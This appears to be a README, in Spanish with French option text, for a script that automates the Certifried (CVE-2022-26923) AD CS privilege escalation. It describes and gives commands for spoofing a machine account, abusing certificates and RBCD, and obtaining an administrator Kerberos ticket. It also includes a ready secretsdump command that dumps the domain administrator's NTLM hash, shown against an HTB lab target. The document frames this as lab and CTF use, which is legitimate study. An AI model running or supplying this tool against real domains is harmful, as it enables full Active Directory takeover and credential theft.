CVE-2022-26923 – Certifried Exploit (Abuso de AD CS)

Automatización de la explotación de CVE-2022-26923 (Certifried) que permite una elevación de privilegios mediante el abuso de Active Directory Certificate Services (AD CS) y Resource-Based Constrained Delegation (RBCD), lo que lleva al volcado del hash NTLM de una cuenta de administrador de dominio.

⚠️ Uso pedagógico únicamente / Lab / HTB

No utilizar en entornos no autorizados.

🎯 Descripción

Este script automatiza la siguiente cadena de ataque:

1. Creación de una cuenta de máquina controlada
2. Modificación del dNSHostName
3. Solicitud de un certificado a través de AD CS
4. Autenticación mediante certificado
5. Abuso de RBCD
6. S4U2Self + S4U2Proxy
7. Obtención de un ticket Kerberos para administrator
8. Volcado de NTLM mediante secretsdump.py

🔗 Vulnerabilidad

• CVE-2022-26923 – "Certifried"
• Afecta a entornos de Active Directory que utilizan AD CS
• Permite la suplantación de identidad de un Domain Controller mediante un certificado mal emitido

🛠 Herramientas utilizadas

• certipy-ad
• bloodyAD
• getST.py (Impacket)
• secretsdump.py (Impacket)
• openssl

📦 Instalación de dependencias

pipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl

🚀 Uso

chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]

Opciones disponibles

-d, --dc-ip          IP du Domain Controller
-D, --domain         Nom du domaine
-u, --user           Utilisateur valide
-p, --pass           Mot de passe utilisateur
-c, --comp-name      Nom machine contrôlée
-C, --comp-pass      Mot de passe machine
-a, --ca-name        Nom du Certificate Authority
-t, --template       Template certificat
-f, --pfx-file       Nom fichier PFX
-H, --dc-hostname    Hostname du DC
-A, --dc-account     Compte DC
-i, --impersonate    Compte cible à impersonner
--verbose            Mode debug
-h, --help           Aide

🧠 Ejemplo (HTB Certified)

./CVE-2022-26923.sh \
-d 10.129.1.39 \
-D certifried.htb \
-u [email protected] \
-p 'Ch4ng3m3!' \
--verbose

🔥 Resultado esperado

Al final de la ejecución:

• Un ticket Kerberos administrator.ccache
• El volcado NTLM de la cuenta administrator

En caso de problema de Kerberos:

KRB5CCNAME=/tmp/administrator.ccache secretsdump.py \
-just-dc-ntlm -just-dc-user administrator \
certifried.htb/[email protected] \
-k -no-pass -dc-ip 10.129.1.39

🧬 Funcionamiento interno

Machine Account Creation
        ↓
dNSHostName spoofing
        ↓
Certificate Request (Machine Template)
        ↓
Authentication via PFX
        ↓
RBCD abuse (bloodyAD)
        ↓
S4U2Self + S4U2Proxy
        ↓
Kerberos Ticket extraction
        ↓
NTLM dump via secretsdump

⚠️ Aviso legal

Este proyecto se proporciona con fines:

• educativos
• de investigación en seguridad
• de laboratorio personal
• de CTF / HTB

El autor declina toda responsabilidad en caso de uso no autorizado.

📜 Licencia

MIT